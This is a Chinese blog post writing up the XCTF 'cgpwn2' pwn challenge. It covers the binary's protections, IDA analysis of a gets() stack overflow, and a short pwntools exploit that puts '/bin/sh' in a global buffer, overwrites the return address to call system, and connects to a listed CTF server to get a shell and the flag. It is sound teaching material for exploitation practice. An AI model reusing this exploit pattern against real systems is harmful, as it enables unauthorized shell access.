XCTF-PWN-cgpwn2-ret2shellcode

CTF · 03-21 · 92 人浏览

1.查看文件保护

Pasted image 20231216215148.png
32位,只开启了NX(数据不可执行)
kali中运行程序
Pasted image 20231216215230.png
一个留言板程序,用户可以输出名字和一条信息。

2.IDA静态分析

(1)main

Pasted image 20231216215427.png

(2)hello

Pasted image 20231216215446.png
第29行fgets接收用户输入到变量name中,双击跟进发现其在.bss段,地址为0804A080
Pasted image 20231216220035.png
函数末尾发现gets()函数,并且数组s与ebp的位移为0x26,因此写0x26+4个字节后即可覆盖返回地址

(3)查看字符串窗口

Pasted image 20231216215811.png
没有发现/bin/sh字符串,但是左侧函数窗口中有system函数,地址为08048420
还找到一个pwn函数,执行系统命令输出字符串,由此得call __system地址为0804855A
Pasted image 20231216221348.png
Pasted image 20231216221256.png
Pasted image 20231216221359.png

因此构造一个/bin/sh作为system执行的参数即可getshell

(4)思路整理

利用fgets函数溢出后返回地址修改成system()函数,内容用/bin/sh覆盖

EXP代码如下:

from pwn import *
p = remote('61.147.171.105', 63915)
 
payload=b'a'*(0x26+4)+p32(0x0804855A)+p32(0x0804A080)
# 或者是直接调system函数,而不是直接调call system
# payload=b'a'*42+p32(0x08048420)+p32(0)+p32(0x0804A080)
p.sendlineafter("name\n", '/bin/sh')
p.sendlineafter("here:\n",payload)
p.interactive()

运行EXP:
Pasted image 20231216221854.png
flag为:
cyberpeace{764fc890906d550f717c12e5a3eb1cdc}

CTF PWN 栈溢出 XCTF ret2shellcode
Theme Jasmine by Kent Liao